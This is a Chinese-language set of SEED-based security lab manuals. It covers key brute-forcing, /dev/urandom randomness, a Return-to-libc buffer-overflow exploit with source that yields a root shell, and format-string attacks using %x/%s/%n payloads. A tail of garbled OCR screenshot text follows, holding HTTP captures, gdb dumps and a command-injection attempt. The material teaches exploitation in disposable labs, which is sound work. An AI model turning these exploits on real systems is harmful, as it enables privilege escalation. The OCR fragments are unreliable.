    unsigned char *cryptotext="8d20e5056a8d24d0462ce74e4904c1b513e10d1df4a2ef2ad4540fae1ca0aaf9";

    ERR_load_crypto_strings();
    OpenSSL_add_all_algorithms();
    OPENSSL_config(NULL);

    int ciphertext_len;

    FILE* fp = fopen("words.txt", "r");
    while (fscanf(fp, "%s\n", buffer) != EOF){
        if (!append(buffer))
            continue;

        ciphertext_len = encrypt(plaintext, strlen(plaintext), buffer, iv, ciphertext);

        unsigned char cryptohex[50];
        for (i = 0; i < ciphertext_len; i++)
        {
            sprintf(cryptohex+i*2,"%02x", ciphertext[i]);
        }   
        cryptohex[ciphertext_len*2] = '\0';

        if (0 == strcmp(cryptohex, cryptotext)){
            printf("The key is: %s\n", buffer);
            break;
        }   
    }
    EVP_cleanup();
    ERR_free_strings();
    return 0;
}






实验 6：生成伪随机数


生成随机数在软件开发中很常见，在多数情况下，加密密钥并不由用户提供，而是由软件本身生成。随机数的随机性很重要，否则，攻击者就可能预测密钥，产生严重的后果。大多数开发者知道如何去生成随机数（比如。蒙特卡罗方法）。所以他们以相似的方法生成随机数。但这些“随机数”事实上并不够随机，仍然可能被攻击破解，历史上 Netscape 和 Kerberos 就犯过这样的错误。


在本实验中，学生将学习使用标准方法生成能够达到安全目的的伪随机数。


6.A：内核熵（entropy）


计算机本身并不适合生成随机数，所以大多数系统通过物理资源获得随机性。比如 linux 通过以下函数获得随机性。


void add_keyboard_randomness(unsigned char scancode);
void add_mouse_randomness(__u32 mouse_data);
void add_interrupt_randomness(int irq);
void add_blkdev_randomness(int major);



前两个很好理解，第一个利用键盘按键时序和所按键的对应码，第二个利用鼠标的移动和中断时序。第三个利用所有的中断时序收集随机性，当然，并不是所有的中断都有好的随机性，比如时间中断就是可以预测的，而硬盘中断是一个好选择，第四个函数计算设备块请求的完成时间。


我们使用熵来衡量随机性，在这里熵只意味着计算机当前拥有多少位随机比特。以下命令可以得到系统当前拥有熵的数量：


$ cat /proc/sys/kernel/random/entropy_avail



Please move and click your mouses, type somethings, and run the program again. Please describe your
observation in your report.
请移动或者点击鼠标，敲敲键盘，拿电脑闷泡面或者对电脑做点别的什么，之后再一次运行上面的命令，描述你的观察。


6.B： 从 /dev/random 获得伪随机数。


linux 将从物理世界得到的随机数据存于一个随机池中，再由两个设备把随机数据转化成伪随机数。这两个设备有着不同的行为，我们先来学习/dev/random。


你可以使用以下命令从/dev/random 得到 16 字节的伪随机数，我们把数据 pipe 到 hexdump 中查看内容。


$ head -c 16 /dev/random | hexdump



请多次运行该命令，你会发现命令发生阻塞，因为每次取出伪随机数都会导致随机池的熵减少，当熵用完的时候，设备就会被阻塞直到获得足够的熵。请做点什么解决阻塞，让命令打出随机数来。


6.C 从/dev/urandom 获得伪随机数。


此设备不会被阻塞，即使随机池的熵已经相当低了。
你可以使用以下命令从/dev/urandom 获得 1600 字节的伪随机数，运行几次检测该设备是否会阻塞。


$ head -c  1600 /dev/urandom | hexdump



/dev/random 与 /dev/urandom 都是从池中取出随机数据来生成伪随机数的。当熵不够用的时候，/dev/random 会阻塞，而/dev/urandom 则会持续生成新的数。请把池中的数据看作种子（seed），我们都知道，一颗种子能够生成任意数量的伪随机数。理论上来说, /dev/random 设备更加安全，不过在日常实践中，二者并没有太大区别，因为种子是随机且不可预测的,在取得新的随机数据时该设备就会补种，反而是/dev/random 设备的阻塞可能导致拒绝服务攻击。


所以推荐使用/dev/urandom 来获得随机数，为了在程序中使用它，你只需要直接从设备文件中读取。下面的代码片段演示设备的使用方法。


define LEN 16 // 128 bits
unsigned char *key = (unsigned char *) malloc(sizeof(unsigned char)*LEN);
FILE* random = fopen("/dev/urandom", "r");
fread(key, sizeof(unsigned char)*LEN, 1, random);
fclose(random);



四、作业


按要求完成实验内容并回答每节实验给出的问题。


License


本课程所涉及的实验来自 Syracuse SEED labs，并在此基础上为适配实验楼网站环境进行修改，修改后的实验文档仍然遵循 GNU Free Documentation License。


本课程文档 github 链接：https://github.com/shiyanlou/seedlab


附 Syracuse SEED labs 版权声明：
>Copyright Statement Copyright 2006 – 2014 Wenliang Du, Syracuse University. The development of this document is funded by the National Science Foundation’s Course, Curriculum, and Laboratory Improvement (CCLI) program under Award No. 0618680 and 0231122. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.2 or any later version published by the Free Software Foundation. A copy of the license can befound at http://www.gnu.org/licenses/fdl.html.


Return-to-libc攻击实验

            Return-to-libc攻击是一种特殊的缓冲区溢出攻击，通常用于攻击有“栈不可执行”保护措施的目标系统。本实验中我们将用system()地址替换返回地址，用它调用一个root shell。


第 1 节 Return-to-libc 攻击实验


一、实验描述


在进行本次实验之前，建议先做 缓冲区溢出漏洞实验 。


缓冲区溢出的常用攻击方法是用 shellcode 的地址来覆盖漏洞程序的返回地址，使得漏洞程序去执行存放在栈中 shellcode。为了阻止这种类型的攻击，一些操作系统使得系统管理员具有使栈不可执行的能力。这样的话，一旦程序执行存放在栈中的 shellcode 就会崩溃，从而阻止了攻击。


不幸的是上面的保护方式并不是完全有效的，现在存在一种缓冲区溢出的变体攻击，叫做 return-to-libc 攻击。这种攻击不需要一个栈可以执行，甚至不需要一个 shellcode。取而代之的是我们让漏洞程序调转到现存的代码（比如已经载入内存的 libc 库中的 system（）函数等）来实现我们的攻击。


二、实验准备


系统用户名 shiyanlou


实验楼提供的是 64 位 Ubuntu linux，而本次实验为了方便观察汇编语句，我们需要在 32 位环境下作操作，因此实验之前需要做一些准备。


1、输入命令安装一些用于编译 32 位 C 程序的东西：


sudo apt-get update

sudo apt-get install lib32z1 libc6-dev-i386

sudo apt-get install lib32readline-gplv2-dev



2、输入命令“linux32”进入 32 位 linux 环境。输入“/bin/bash”使用 bash：
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三、实验步骤


3.1 初始设置


Ubuntu 和其他一些 Linux 系统中，使用地址空间随机化来随机堆（heap）和栈（stack）的初始地址，这使得猜测准确的内存地址变得十分困难，而猜测内存地址是缓冲区溢出攻击的关键。因此本次实验中，我们使用以下命令关闭这一功能：


sudo sysctl -w kernel.randomize_va_space=0



此外，为了进一步防范缓冲区溢出攻击及其它利用 shell 程序的攻击，许多 shell 程序在被调用时自动放弃它们的特权。因此，即使你能欺骗一个 Set-UID 程序调用一个 shell，也不能在这个 shell 中保持 root 权限，这个防护措施在/bin/bash 中实现。


linux 系统中，/bin/sh 实际是指向/bin/bash 或/bin/dash 的一个符号链接。为了重现这一防护措施被实现之前的情形，我们使用另一个 shell 程序（zsh）代替/bin/bash。下面的指令描述了如何设置 zsh 程序：


sudo su

cd /bin

rm sh

ln -s zsh sh

exit



为了防止缓冲区溢出攻击，最近版本的 gcc 编译器默认将程序编译设置为栈不可执行，而你可以在编译的时候手动设置是否使栈不可执行：


gcc -z execstack -o test test.c    #栈可执行

gcc -z noexecstack -o test test.c  #栈不可执行



> 本次实验的目的，就是展示这个“栈不可执行”的保护措施并不是完全有效，所以我们使用“-z noexecstack”，或者不手动指定而使用编译器的默认设置。


3.2 漏洞程序


把以下代码保存为“retlib.c”文件，保存到 /tmp 目录下。代码如下：


/* retlib.c */
/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
include <stdlib.h>
include <stdio.h>
include <string.h>
int bof(FILE *badfile)
{
char buffer[12];
/* The following statement has a buffer overflow problem */
fread(buffer, sizeof(char), 40, badfile);
return 1;
}
int main(int argc, char **argv)
{
FILE *badfile;
badfile = fopen("badfile", "r");
bof(badfile);
printf("Returned Properly\n");
fclose(badfile);
return 1;
}



编译该程序，并设置 SET-UID。命令如下：


sudo su

gcc -m32 -g -z noexecstack -fno-stack-protector -o retlib retlib.c

chmod u+s retlib

exit



或者也可以“gcc -m32 -g -fno-stack-protector -o retlib retlib.c”，默认使用“栈不可执行”保护。


GCC 编译器有一种栈保护机制来阻止缓冲区溢出，所以我们在编译代码时需要用 –fno-stack-protector 关闭这种机制。


上述程序有一个缓冲区溢出漏洞，它先从一个叫“badfile”的文件里把 40 字节的数据读取到 12 字节的 buffer，引起溢出。fread()函数不检查边界所以会发生溢出。由于此程序为 SET-ROOT-UID 程序，如果一个普通用户利用了此缓冲区溢出漏洞，他有可能获得 root shell。应该注意到此程序是从一个叫做“badﬁle”的文件获得输入的，这个文件受用户控制。现在我们的目标是为“badﬁle”创建内容，这样当这段漏洞程序将此内容复制进它的缓冲区，便产生了一个 root shell 。


我们还需要用到一个读取环境变量的程序：


/* getenvaddr.c */
include <stdio.h>
include <stdlib.h>
include <string.h>

int main(int argc, char const *argv[])
{
 char *ptr;

 if(argc < 3){
    printf("Usage: %s <environment var> <target program name>\n", argv[0]);
    exit(0);
    }
 ptr = getenv(argv[1]);
 ptr += (strlen(argv[0]) - strlen(argv[2])) * 2;
 printf("%s will be at %p\n", argv[1], ptr);
 return 0;
}



编译一下：


gcc -m32 -o getenvaddr getenvaddr.c



3.3 攻击程序


把以下代码保存为“exploit.c”文件，保存到 /tmp 目录下。代码如下：


/* exploit.c */
include <stdlib.h>
include <stdio.h>
include <string.h>
int main(int argc, char **argv)
{
 char buf[40];
 FILE *badfile;
 badfile = fopen(".//badfile", "w");

 strcpy(buf, "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90");// nop 24 times

 *(long *) &buf[32] =0x11111111; // "//bin//sh"
 *(long *) &buf[24] =0x22222222; // system()
 *(long *) &buf[36] =0x33333333; // exit()
 fwrite(buf, sizeof(buf), 1, badfile);
 fclose(badfile);
}



代码中“0x11111111”、“0x22222222”、“0x33333333”分别是 BIN_SH、system、exit 的地址，需要我们接下来获取。


3.4 获取内存地址


1、用刚才的 getenvaddr 程序获得 BIN_SH 地址：
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2、gdb 获得 system 和 exit 地址：
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修改 exploit.c 文件，填上刚才找到的内存地址：
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删除刚才调试编译的 exploit 程序和 badfile 文件，重新编译修改后的 exploit.c：


rm exploit
rm badfile
gcc -m32 -o exploit exploit.c



3.5 攻击


先运行攻击程序 exploit，再运行漏洞程序 retlib，可见攻击成功，获得了 root 权限：
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四、练习


1、按照实验步骤进行操作，攻击漏洞程序并获得 root 权限。


2、将/bin/sh 重新指向/bin/bash（或/bin/dash），观察能否攻击成功，能否获得 root 权限。


3、观察、思考本次实验和缓冲区溢出漏洞实验的相同和不同之处。


以上练习请在实验楼环境完成并截图。
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格式化字符串漏洞实验

            本实验将会提供一个具有格式化漏洞的程序，我们将制定一个计划来探索这些漏洞以达到任意读写内存的目的。


第 1 节 格式化字符串漏洞实验


一、 实验描述


格式化字符串漏洞是由像 printf(userinput) 这样的代码引起的，其中 userinput 是用户输入的数据，具有 Set-UID root 权限的这类程序在运行的时候，printf 语句将会变得非常危险，因为它可能会导致下面的结果：



	使得程序崩溃


	任意一块内存读取数据


	修改任意一块内存里的数据




最后一种结果是非常危险的，因为它允许用户修改 set-UID root 程序内部变量的值，从而改变这些程序的行为。


本实验将会提供一个具有格式化漏洞的程序，我们将制定一个计划来探索这些漏洞。


二、实验预备知识讲解


2.1 什么是格式化字符串？


printf ("The magic number is: %d", 1911);



试观察运行以上语句，会发现字符串"The magic number is: %d"中的格式符％d 被参数（1911）替换，因此输出变成了“The magic number is: 1911”。
格式化字符串大致就是这么一回事啦。


除了表示十进制数的％d，还有不少其他形式的格式符，一起来认识一下吧~


格式符|        含义 |    含义（英）|传
---- | ------------- | ----- | -------
%d   | 十进制数（int）  |decimal |  值
%u   | 无符号十进制数 (unsigned int)  | unsigned decimal | 值
%x   | 十六进制数 (unsigned int)  |hexadecimal |  值
%s   | 字符串 ((const) (unsigned) char )  | string | 引用（指针）
%n   | %n 符号以前输入的字符数量 ( int) |number of bytes written so far |  引用（指针）


（ * %n的使用将在 1.5 节中做出说明）


2.2 栈与格式化字符串


格式化函数的行为由格式化字符串控制，printf 函数从栈上取得参数。


printf ("a has value %d, b has value %d, c is at address: %08x\n",a, b, &c); 
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2.3 如果参数数量不匹配会发生什么？


如果只有一个不匹配会发生什么？


printf ("a has value %d, b has value %d, c is at address: %08x\n",a, b);




	在上面的例子中格式字符串需要 3 个参数，但程序只提供了 2 个。


	该程序能够通过编译么？



	printf()是一个参数长度可变函数。因此，仅仅看参数数量是看不出问题的。


	为了查出不匹配，编译器需要了解 printf()的运行机制，然而编译器通常不做这类分析。


	有些时候，格式字符串并不是一个常量字符串，它在程序运行期间生成(比如用户输入)，因此，编译器无法发现不匹配。






	那么 printf()函数自身能检测到不匹配么？



	printf()从栈上取得参数，如果格式字符串需要 3 个参数，它会从栈上取 3 个，除非栈被标记了边界，printf()并不知道自己是否会用完提供的所有参数。


	既然没有那样的边界标记。printf()会持续从栈上抓取数据，在一个参数数量不匹配的例子中，它会抓取到一些不属于该函数调用到的数据。






	如果有人特意准备数据让 printf 抓取会发生什么呢？




2.4 访问任意位置内存



	我们需要得到一段数据的内存地址，但我们无法修改代码，供我们使用的只有格式字符串。


	如果我们调用 printf(%s) 时没有指明内存地址, 那么目标地址就可以通过 printf 函数，在栈上的任意位置获取。printf 函数维护一个初始栈指针,所以能够得到所有参数在栈中的位置


	观察: 格式字符串位于栈上. 如果我们可以把目标地址编码进格式字符串，那样目标地址也会存在于栈上，在接下来的例子里，格式字符串将保存在栈上的缓冲区中。




int main(int argc, char *argv[])
{
    char user_input[100];
    ... ... /* other variable definitions and statements */
    scanf("%s", user_input); /* getting a string from user */
    printf(user_input); /* Vulnerable place */
    return 0;
}




	如果我们让 printf 函数得到格式字符串中的目标内存地址 (该地址也存在于栈上), 我们就可以访问该地址。（注：代码中引号内容为 user_input 数组内容的展开）


printf ("\x10\x01\x48\x08 %x %x %x %x %s");




	\x10\x01\x48\x08 是目标地址的四个字节， 在 C 语言中, \x10 告诉编译器将一个 16 进制数 0x10 放于当前位置（占 1 字节）。如果去掉前缀\x10 就相当于两个 ascii 字符 1 和 0 了，这就不是我们所期望的结果了。



	%x 导致栈指针向格式字符串的方向移动（参考 1.2 节）



	下图解释了攻击方式，如果用户输入中包含了以下格式字符串
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	如图所示，我们使用四个%x 来移动 printf 函数的栈指针到我们存储格式字符串的位置，一旦到了目标位置，我们使用％s 来打印，它会打印位于地址 0x10014808 的内容，因为是将其作为字符串来处理，所以会一直打印到结束符为止。



	user_input 数组到传给 printf 函数参数的地址之间的栈空间不是为了 printf 函数准备的。但是，因为程序本身存在格式字符串漏洞，所以 printf 会把这段内存当作传入的参数来匹配％x。



	最大的挑战就是想方设法找出 printf 函数栈指针(函数取参地址)到 user_input 数组的这一段距离是多少，这段距离决定了你需要在%s 之前输入多少个%x。





2.5 在内存中写一个数字


%n: 该符号前输入的字符数量会被存储到对应的参数中去


int i;
printf ("12345%n", &i);




	数字 5（%n 前的字符数量）将会被写入 i 中


	运用同样的方法在访问任意地址内存的时候，我们可以将一个数字写入指定的内存中。只要将上一小节(1.4)的%s 替换成%n 就能够覆盖 0x10014808 的内容。


	利用这个方法，攻击者可以做以下事情:



	重写程序标识控制访问权限


	重写栈或者函数等等的返回地址






	然而，写入的值是由%n 之前的字符数量决定的。真的有办法能够写入任意数值么？



	用最古老的计数方式， 为了写 1000，就填充 1000 个字符吧。


	为了防止过长的格式字符串，我们可以使用一个宽度指定的格式指示器。(比如（%0 数字 x）就会左填充预期数量的 0 符号)








三、 实验内容


实验 1


用户需要输入一段数据，数据保存在 user_input 数组中，程序会使用 printf 函数打印数据内容，并且该程序以 root 权限运行。更加可喜的是，这个程序存在一个格式化漏洞。让我们来看看利用这些漏洞可以搞些什么破坏。


程序说明：
>程序内存中存在两个秘密值，我们想要知道这两个值，但发现无法通过读二进制代码的方式来获取它们（实验中为了简单起见，硬编码这些秘密值为 0x44 和 0x55）。尽管我们不知道它们的值，但要得到它们的内存地址倒不是特别困难，因为对大多数系统而言，每次运行程序，这些内存地址基本上是不变的。实验假设我们已经知道了这些内存地址，为了达到这个目的，程序特意为我们打出了这些地址。
>
>有了这些前提以后我们需要达到以下目标：
>+  找出 secret[1]的值
>+  修改 secret[1]的值
>+  修改 secret[1]为期望值


>注意：因为实验环境是 64 位系统，所以需要使用%016llx 才能读取整个字。但为了简便起见，对程序进行了修改了，使用%08x 也能完成实验。


有了之前预备知识的铺垫，先自己尝试一下，祝玩的愉快：）


程序如下：


/* vul_prog.c */ 
include <stdlib.h>
include <stdio.h>

define SECRET1 0x44
define SECRET2 0x55

int main(int argc, char *argv[])
{
  char user_input[100];
  int *secret;
  long int_input;
  int a, b, c, d; /* other variables, not used here.*/

  /* The secret value is stored on the heap */
  secret = (int *) malloc(2*sizeof(int));

  /* getting the secret */
  secret[0] = SECRET1; secret[1] = SECRET2;

  printf("The variable secret's address is 0x%8x (on stack)\n", &secret);
  printf("The variable secret's value is 0x%8x (on heap)\n", secret);
  printf("secret[0]'s address is 0x%8x (on heap)\n", &secret[0]);
  printf("secret[1]'s address is 0x%8x (on heap)\n", &secret[1]);

  printf("Please enter a decimal integer\n");
  scanf("%d", &int_input);  /* getting an input from user */
  printf("Please enter a string\n");
  scanf("%s", user_input); /* getting a string from user */

  /* Vulnerable place */
  printf(user_input);  
  printf("\n");

  /* Verify whether your attack is successful */
  printf("The original secrets: 0x%x -- 0x%x\n", SECRET1, SECRET2);
  printf("The new secrets:      0x%x -- 0x%x\n", secret[0], secret[1]);
  return 0;
}



(ps： 编译时可以添加以下参数关掉栈保护。)


gcc -z execstack -fno-stack-protector -o vul_prog vul_prog.c 






一点小提示：你会发现 secret[0]和 secret[1]存在于 malloc 出的堆上，我们也知道 secret 的值存在于栈上，如果你想覆盖 secret[0]的值,ok,它的地址就在栈上，你完全可以利用格式化字符串的漏洞来达到目的。然而尽管 secret[1]就在它的兄弟 0 的旁边，你还是没办法从栈上获得它的地址，这对你来说构成了一个挑战，因为没有它的地址你怎么利用格式字符串读写呢。但是真的就没招了么？





3.1.1 找出 secret[1]的值


1.首先定位 int_input 的位置，这样就确认了％s 在格式字符串中的位置。
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2.输入 secret[1]的地址，记得做进制转换，同时在格式字符串中加入％s。
[image: ]


大功告成！U 的 ascii 码就是 55。


3.1.2 修改 secret[1]的值


1.只要求修改，不要求改什么？简单！不明白%n 用法的可以往前回顾一下。
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大功告成 x2！


3.1.3 修改 secret[1]为期望值


1.要改成自己期望的值，咋办？填 1000 岂不累死？！可以用填充嘛！
[image: ]
哦对了，0x3e8 = 1000。
大功告成 x3！


实验 2


现在让我们把第一个 scanf 语句去掉，并去掉与 int_input 变量相关的所有语句。同时设置关闭地址随机化选项。


sysctl -w kernel.randomize_va_space=0



关闭地址随机化后，这样每次运行程序得到的 secret 地址就都一样了，让我们再来一次实验 1 中的攻击吧。不过在此之前你需要知道这些：


如何让 scanf()接受任意数字？


通常，scanf 将会为你停顿，打印输入。有时，你想要编程得 到一个数 0x05 (不是字符“5”)，不幸的是，当你将“5"作为输入,scanf 实际得到的是 5 的 ASCII 值 0x35,而不是 0x05。


这个问题的一个解决办法是使用文件。我们可以很容易地写一 C 程 序将 0x05 (不是“5")存入一个文件（我们叫它 my string),然后运行输入被重定向到 mystring 的漏洞程序。这样，scanf 将从文件 mystring 中获得输入而不是键盘。 你需要注意一些特殊数字，如 0x0A (新行），0x0C (换页），0x0D (返回），0x20 (空 格)，scanf 将它们视为分隔符，如果在 scanf 里我们仅有一个"％s"的话，它将停止读取这些 特殊符号之后的任何内容。如果这些数字出现在地址屮，你必须想办法避开。为简化任务， 如果你不走运地在 secret 的地址中碰到这些特殊数字，我们允许你在为 secret[2]分配内存地址 之前加上一个 malloc 语句。这个额外的 malloc 语句可以改变 secret 地址的值。


以下程序将一个格式化字符串写入了一个叫 mystring 的文件，前 4 个字节由任意你想放 入格式化字符串的数字构成，接下来的字节由键盘输入。


include <sys/types.h>
include <sys/stat.h>
include <fcntl.h>
int main()
{
    char buf[1000];
    int fp, size;
    unsigned int *address;
    /* Putting any number you like at the beginning of the format string */
    address = (unsigned int *) buf;
    *address = 0x113222580;
    /* Getting the rest of the format string */
    scanf("%s", buf+4);
    size = strlen(buf+4) + 4;
    printf("The string length is %d\n", size);
    /* Writing buf to "mystring" */
    fp = open("mystring", O_RDWR | O_CREAT | O_TRUNC, S_IRUSR | S_IWUSR);
    if (fp != -1) {
        write(fp, buf, size);
        close(fp);
    } else {
        printf("Open failed!\n");
    }
}



3.2.1 修改 secret[0]的值


让我们先以上面提供的写程序为基础，熟悉一下基础流程。


修改 vulprog.c 后编译 vulprog.c 与 writestring.c
然后通过 writestring 程序将内容输入进 mystring 文件中，文件内容包括代码中加入的头四个字节和你之后输入的内容。


写入文件后，输入以下命令：


./vul_prog < mystring



[image: 图片描述信息]


大功告成！
0x4c ＝ 76 ＝ 8*8+8 个逗号+开头 4 个字节。


四、 练习


在实验楼环境安步骤进行实验，并截图


您已经完成本课程的所有实验，干的漂亮！


版权声明


本课程所涉及的实验来自Syracuse SEED labs，并在此基础上为适配实验楼网站环境进行修改，修改后的实验文档仍然遵循 GNU Free Documentation License。


本课程文档 github 链接：https://github.com/shiyanlou/seedlab


附Syracuse SEED labs版权声明：


> Copyright Statement Copyright 2006 – 2009 Wenliang Du, Syracuse University. The development of this document is funded by the National Science Foundation’s Course, Curriculum, and Laboratory Improvement (CCLI) program under Award No. 0618680 and 0231122. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.2 or any later version published by the Free Software Foundation. A copy of the license can befound at http://www.gnu.org/licenses/fdl.html.
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[ CA_default ]

dir = ./demoCA # Where everything is kept

certs sdir/certs # Where the issued certs are kept

crl_dir sdir/crl # Where the issued crl are kept

database Sdir/index.txt  # database index file.

#unique_subject = no # Set to 'no’ to allow creation of
# several ctificates with same subject.

new_certs_dir = Sdir/newcerts  # default place for new corts.

certificate = $dir/cacert.pen # The CA certificate

serial Sdir/serial # The current serial number

crinunber = $dir/crinumber  # the current crl number

# must be commented out to leave a V1 CRL
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End of assembler dump.
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[16:01:26]
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Live HTTP headers
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HTTP Headers
hittp://www.xsslabelgg.com/action)friends/add2friend=408&_elgg_ts=14298494698_elgg_token=3a25796d39e6bocdachob73882f7fe7 2

GET /action/friends/add?friend=40& __elgg_ts=1429849469& __elgg_token=3a25F96d39e6b6cd4cbob73882fF7Fe7 HTTP/1.1
Host: www.xsslabelgg.com

User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:23.0) Gecko/20100101 Firefox/23.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,%/+:q=0.8

Accept-Language: en-US,en;
Accept-Encoding: gzip,

Cookie: Elgg=mckjvcs2ilbsraFac36i
Connection: keep-alive

HTTP/1.1302 Found

Date: Fri, 24 Apr 2015 04:28:59 GMT

Server: Apache/2.2.22 (Ubuntu)

X-Powered-By: PHP/5.3.10-1ubuntu3.14

Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-evalidate, post-chec}
Pragma: no-cache

Location: http://wwiw.xsslabelgg.com/profile/boby
Content-Length: 0

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

ContentType: text/html

. pre-check=0

| saveall. | | Replayu. | @ Capture clear | | close |
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root@55496946188c: /tmp

0x080484dc
0x080484dd
0x080484df
0x080484e2
0x080484f0
0x080484f7
0x080484fc
0x08048503
0x0804850a
0x0804850e
0x08048516
0x0804851e
0x08048522
0x08048525
0x0804852a
0x0804852e
0x08048531
0x08048536
0x0804853d
0x08048542
0x08048547
0x08048548

<+0>:
<+l1>:
<+3>:

<+6>:
<+12>:

<+32>:
<+39>:
<+46>:
<+50>:
<+58>:
<+66>:
<+70>:
<+73>:
<+78>:
<+82>:
<+85>:
<+90>:
<+97>:
<+102>:
<+107
<+108>:

Dump of assembler code for function main:

push  %ebp

mov %esp,%ebp
and OxfFFFfffo,%esp
b
movl  $0x80485e0,0x4(%esp)
movl  $0x80485e2, (%esp)
call 0x80483b0 <fopen@plt>
v %eax,0x21c(%esp)

mov’ 0x21c(%esp) ,%eax espHit Bstrints
mov Sont

movl

movl 3

lea 0x17(%esp) ,%ea:

mov %eax, (%esp) RiINEXE A

call ©x8048360 <fread@plt>
lea 0x17(%esp) ,%eax

mov %eax, (%esp)

call ©x80484bd <bof>

movl  $0x80485ea, (%esp)
call  0x8048380 <puts@plt>
mov $0x1,%eax

leave

ret '/ 107 2
---Type <return> to continue, or q <return> to qui!t-s o com
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-rwsr-xr-x 1 root root 8770 38 16 15:35 -

Ishiyanlou:/tmp/ $ 1s

[File] orbit-shiyanlou SRU.c _ssh-ezr51Ghcdv8x

[shiyanlou:/tmp/ $ [./SRU2 "file;mv file file2"]

|/b n/w
yanlouz/

i rbit-shiyanlo

|shiyanlou

;hiyanlo;;}iﬁsy § 1s -la SRU2#SRU.ciiq=0iq=1. & E#HFASRU2

5 such file or directory

S
v B BEEB SRU.c ssh-ezrslGhedvix
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HTTP Headers
http://www.csrflabelgg. com/action/profile/edit
e = ic . POST /action/profile/edit HTTR/L.1

Host: www.cstflabelgg.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:23.0) Gecko/20100101 Fil
Accept: text/htm,application/xhtm|+xml,application/xm};q=0.9,%/*;q=0.8

A Accept-Language: en-US,en;q=0.5

Lo Accept-Encoding: gzip, deflate

Brief description: test Referer: http://www.csrflabelag.com/profile/alice/edit

T Cookie: Elgg=ks91qtesisa7selokqaugtacpl
Connection: keep-alive

Interests: Content-Type: application/x-www-form-uriencoded
Content-Length: 569

Skills: __elgg_token=17fb7abfoec7666aae76d5b03372203f6& _elgg ts=142984243
HTTP/1.1 302 Found

Contact email: (=i el com Date: Fri, 24 Apr 2015 02:29:14 GMT

[ Edit avatar | Telephone: 123456 £l -
(Editprofile | Mobile prione: 123456 saveall.. | Replay.., [ capture Clear
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root@b278674a9%e10: /tmp

shiyanlou@b278674a9e10: /tmp$ s

exploit getenvaddr orbit-shiyanlou retlib.c

exploit.c getenvaddr.c retlib ssh-Dyy62wEXS5gMm
shiyanlou@b278674a9e10: /tmp$
shiyanlou@b278674a9e10: /tmp$ 1s =HGIiHiERF. 6 Tbadfle +
badfile|.expleit-e—getenvaddr.c  retlib ssh-Dyy62wEX5gMm

exploit getenvaddr orbit-shiyanlou retlib.c
shiyanlou@b278674a9e10: /tmp$

BEEE, TRz
75T roothR 0y St

# e com
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shiyanlou:/home/ $ python3 ftpScanner.py -H 127.8.6.1 -f pud.txt [20:29:44]

[*] 127.0.0.1 FTP Anonynous login successfull
Host: 127.0.6.1 Can anonymously!

[+ -
shiyanlou: /home/ $ [ [20:29:50]
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root@2c00b78ec2ed: /demo_openssl# ./serv

Enter PEM pass phrase: I

Connection from 100007f, port e587

SSL connection using AES256-GCM-SHA384

Client certificate:
subject: /C=AU/ST=match/O=match/OU=match/CN=PKILabClient.com
issuer: /C=AU/ST=match/L=match/0O=match/OU=match/CN=match

Got 12 chars:'Hello World!'

root@2c00b78ec2ed: /demo_openssl#
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shiyaniou:~-/ 5 ./a.out

The variable secret's address is 0x294bad4® (on stack)

The variable secret's value is 0x 1aeb610@ (on heap)

secret[0]'s address is Ox 1aeb010 (on heap)

secret[1]'s address is Ox laeb014 (on heap)

Please enter a decimal integer

28225556

Please enter a string
%01611x,%01611x,%01611x,%01611x,%01611x,%01611x,%01611x,%01611x,%s
000000000000000a,00007f35bdbb59f0,0000000000000000 , 0000 00000000 ,000000000000
0099,00697fff294b3538,00009091294!)3459.GOOB@GOOOiaebBiGﬁB

The original secrets: 0x44 -- 0x55

The new secrets: 0x44 -- Ox55

shiyanlou:~/ $ [14:13:15]






OEBPS/Images/md0417734gHmSCX6.jpg
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input []
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Print this Print this
forthe dth %x  for the Tst %x

For %s: print out the contents pointed by this address
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Content-Disposition: form-data; name="name"

admin
R 4236800421009622444657889305
Content-Disposition: form-data; name="userfile"; filename

Content-Type: application/octet-stream

e ———42368004210096 2444657889305
Content-Disposition: form-data; name="file-smyprojects[project].ID"

e ———42368004210096 2444657889305
Content-Disposition: form-data; name="company"

4236004210096 224446 57889305
Content-Disposition: form-data; name="email"
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Terminal
[05/84/2615 63:01] seed@ubuntu: /var /waw/X5sS/elgg$ sudo touch cookie.txt

[85/84/2015 ©3:01] seed@ubuntu: /var/www/XSS/elgg$ sudo chmod 777 cookie.txt
[05/04/2015 83:02] seed@ubuntu:/var/www/XSS/elgg$
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shiyanlou:~/ $ cd /bin

shiyanlou:/bin/ $ sudo su

[sudo] password for shiyanlou:
root@d996b5bb0140: /bin# 1s -1s sh

® lrwxrwxrwx 1 root root 4 28 19 2014 c@)
root@d996b5bb0140: /bin# rm sh
root@996b5bb0140: /bin# 1ln -s zsh sh fgshiEE
root@d996b5bb0140: /bin# ls -la sh /bin/zsh
Lruxruxrwx 1 root root 3 38 16 11:38 € _-> =>
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The variable secret's address is 0x86be62d® (on stack)

The variable secret's value is 0x 200b010 (on heap)

secret[0]'s address is 0x 200b010 (on heap)

secret[1]'s address is 0x 200b814 (on heap)

Please enter a decimal integer

33599508

Please enter a string
%01611x,%01611x,%01611x,%01611x,%01611x,%01611x,%01611x,%.880u,%n
000000000000000a,00007f91842c79f0,0000000000000000,0000000000000000 000000000000
0000,00007fff86be6438,0000000186be62e0,00000000000000000000000000000000000000000
00000000000000006000000006000000000000060000000000000000000000000000600000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000600000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000006000060000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000033599504,

The original secrets: 0x44 -- ©x55

